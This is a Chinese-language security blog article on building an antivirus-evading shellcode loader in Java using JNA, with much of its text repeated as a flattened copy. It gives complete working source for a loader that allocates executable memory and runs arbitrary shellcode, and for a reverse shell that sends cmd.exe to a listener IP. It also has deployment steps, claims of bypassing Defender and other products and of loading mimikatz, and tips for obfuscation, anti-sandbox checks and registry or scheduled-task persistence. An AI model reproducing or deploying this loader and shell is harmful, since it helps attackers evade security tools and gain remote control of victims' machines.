全新视角下的 Java:一种非传统的免杀加载器轻松绕过杀软
字数 1231 2025-08-29 22:41:32

Java免杀加载器实现与绕过杀软技术详解

引言

在信息安全领域,加载器(Loader)在后渗透阶段扮演着关键角色。传统加载器多采用C/C++编写,通过Windows API动态申请内存、写入shellcode、创建线程执行。然而,在当前杀毒软件愈加敏感的趋势下,这些"套路化"的做法极易触发检测规则。

本文介绍一种非传统的免杀加载器实现方式——使用Java结合JNA(Java Native Access)技术实现shellcode加载与执行,能够绕过主流杀软检测,包括Windows Defender、360、火绒等。

Java作为加载器的优势

Java在安全领域一直被视为"中规中矩的业务语言",但正是这种特性使其成为优秀的加载器平台:

  1. 字节码结构复杂:非标准PE文件,静态分析难度大
  2. 无IAT导入表:jar文件不包含传统hook点,规避许多检测
  3. 运行依赖JVM:大多数沙箱不支持执行jar包
  4. 非传统API调用方式:通过JNA/JNI调用,行为特征库中少有匹配
  5. 新颖的攻击面:不易被蓝队规则捕捉

这些特性使Java成为低特征、高执行力的绝佳loader平台。

核心实现原理:JNA调用系统API

Java默认不能直接调用本地API,但通过JNA(Java Native Access)可以调用任意DLL中的函数,无需JNI、无需C/C++ DLL、无需写native代码。

加载逻辑流程:

  1. 申请可执行内存:VirtualAlloc
  2. 写入Shellcode到内存:Pointer.write(...)
  3. 创建线程执行Shellcode:CreateThread
  4. 等待线程结束:WaitForSingleObject

所有步骤均通过JNA实现,全程不注入、无落地EXE,无需外部DLL。

完整实现代码解析

基础加载器实现

package malware;

import com.sun.jna.*;
import com.sun.jna.NativeLibrary;
import com.sun.jna.Function;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

public class test1 {
    public static final int MEM_COMMIT = 0x1000;
    public static final int MEM_RESERVE = 0x2000;
    public static final int PAGE_EXECUTE_READWRITE = 0x40;
    public static final int INFINITE = 0xFFFFFFFF;

    public static void main(String[] args) throws IOException {
        NativeLibrary lib=NativeLibrary.getInstance("kernel32");
        Function virtualAlloc=lib.getFunction("VirtualAlloc");
        Function createthread=lib.getFunction("CreateThread");
        Function waitthread=lib.getFunction("WaitForSingleObject");
        Function free=lib.getFunction("VirtualFree");

        if(args.length<1){
            System.out.println("java -jar xxx.jar filename");
            return ;
        }
        
        String filename=args[0];
        byte[] content=Files.readAllBytes(Path.of(filename));
        
        Pointer memory = (Pointer) virtualAlloc.invoke(Pointer.class, new Object[]{
            Pointer.NULL, // lpAddress
            content.length, // dwSize
            MEM_COMMIT | MEM_RESERVE, // flAllocationType
            PAGE_EXECUTE_READWRITE // flProtect
        });
        
        if(memory==null){
            System.out.println("memory fail");
        }
        
        memory.write(0,content,0,content.length);
        System.out.println("[*] Shellcode written to memory");
        
        Pointer thread = (Pointer) createthread.invoke(Pointer.class, new Object[]{
            Pointer.NULL,
            0,
            memory,
            Pointer.NULL,
            0,
            Pointer.NULL
        });
        
        if (thread == null) {
            System.err.println("[!] CreateThread failed");
            return;
        }
        
        System.out.println("[*] Shellcode thread started");
        
        // Wait for the shellcode thread to finish
        waitthread.invoke(Void.class, new Object[]{
            thread,
            INFINITE
        });
        
        System.out.println("[*] Done.");
    }
}

反弹Shell实现

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class ReverseShell {
    public static void main(String[] args) {
        String host = "192.168.132.153"; // ← 改成监听端IP
        int port = 3888;
        
        try {
            Socket socket = new Socket(host, port);
            Process process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();
            
            InputStream pi = process.getInputStream();
            OutputStream po = process.getOutputStream();
            InputStream si = socket.getInputStream();
            OutputStream so = socket.getOutputStream();
            
            new Thread(() -> {
                try {
                    byte[] buf = new byte[1024];
                    int len;
                    while ((len = pi.read(buf)) != -1) {
                        so.write(buf, 0, len);
                        so.flush();
                    }
                } catch (Exception ignored) {}
            }).start(); // Thread: 把nc输入转发给cmd
            
            new Thread(() -> {
                try {
                    byte[] buf = new byte[1024];
                    int len;
                    while ((len = si.read(buf)) != -1) {
                        po.write(buf, 0, len);
                        po.flush();
                    }
                } catch (Exception ignored) {}
            }).start();
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

部署与使用

  1. 将Java项目打包成jar文件
  2. 直接运行即可:java -jar xxx.jar filename
  3. 对于反弹Shell,修改IP和端口后直接运行

免杀效果

  1. 即使是最简单的加载方式也能绕过市面上大部分杀软
  2. 能够加载mimikatz等工具绕过核晶防护
  3. 简单的socket连接方式也能绕过检测

环境要求与优化

最小化Java运行时环境

实战中可能不需要完整的Java环境,最小化运行时环境可包含:

mini-runtime/
    bin/
        java.exe  ← 仅需这个启动器(或javaw.exe)
    conf/         ← 可选,用于系统配置
    lib/
        jrt-fs.jar ← 重要,虚拟文件系统支持
        modules    ← 核心模块(由jlink生成或手动提取)

增强免杀能力的方法

  1. 增加反沙箱检测
  2. 使用更高级别的API调用方式
  3. 代码混淆
  4. 动态加载技术

权限维持应用

Java也可以作为权限维持的有效手段:

  1. 利用定时任务执行
  2. 通过注册表实现持久化
  3. 结合其他技术实现更隐蔽的驻留

总结

Java加载器因其独特的运行机制和调用方式,在免杀领域具有显著优势:

  1. 先天免疫沙箱模拟
  2. 字节码执行方式不同于传统PE文件
  3. 无传统导入表和hook点
  4. 新颖的攻击面难以被规则捕捉

通过JNA技术调用底层WinAPI,实现了"免杀+执行"的新思路,为红队行动提供了新的技术选择。

Java免杀加载器实现与绕过杀软技术详解 引言 在信息安全领域,加载器(Loader)在后渗透阶段扮演着关键角色。传统加载器多采用C/C++编写,通过Windows API动态申请内存、写入shellcode、创建线程执行。然而,在当前杀毒软件愈加敏感的趋势下,这些"套路化"的做法极易触发检测规则。 本文介绍一种非传统的免杀加载器实现方式——使用Java结合JNA(Java Native Access)技术实现shellcode加载与执行,能够绕过主流杀软检测,包括Windows Defender、360、火绒等。 Java作为加载器的优势 Java在安全领域一直被视为"中规中矩的业务语言",但正是这种特性使其成为优秀的加载器平台: 字节码结构复杂 :非标准PE文件,静态分析难度大 无IAT导入表 :jar文件不包含传统hook点,规避许多检测 运行依赖JVM :大多数沙箱不支持执行jar包 非传统API调用方式 :通过JNA/JNI调用,行为特征库中少有匹配 新颖的攻击面 :不易被蓝队规则捕捉 这些特性使Java成为 低特征、高执行力 的绝佳loader平台。 核心实现原理:JNA调用系统API Java默认不能直接调用本地API,但通过JNA(Java Native Access)可以调用任意DLL中的函数,无需JNI、无需C/C++ DLL、无需写native代码。 加载逻辑流程: 申请可执行内存: VirtualAlloc 写入Shellcode到内存: Pointer.write(...) 创建线程执行Shellcode: CreateThread 等待线程结束: WaitForSingleObject 所有步骤均通过JNA实现,全程不注入、无落地EXE,无需外部DLL。 完整实现代码解析 基础加载器实现 反弹Shell实现 部署与使用 将Java项目打包成jar文件 直接运行即可: java -jar xxx.jar filename 对于反弹Shell,修改IP和端口后直接运行 免杀效果 即使是最简单的加载方式也能绕过市面上大部分杀软 能够加载mimikatz等工具绕过核晶防护 简单的socket连接方式也能绕过检测 环境要求与优化 最小化Java运行时环境 实战中可能不需要完整的Java环境,最小化运行时环境可包含: 增强免杀能力的方法 增加反沙箱检测 使用更高级别的API调用方式 代码混淆 动态加载技术 权限维持应用 Java也可以作为权限维持的有效手段: 利用定时任务执行 通过注册表实现持久化 结合其他技术实现更隐蔽的驻留 总结 Java加载器因其独特的运行机制和调用方式,在免杀领域具有显著优势: 先天免疫沙箱模拟 字节码执行方式不同于传统PE文件 无传统导入表和hook点 新颖的攻击面难以被规则捕捉 通过JNA技术调用底层WinAPI,实现了"免杀+执行"的新思路,为红队行动提供了新的技术选择。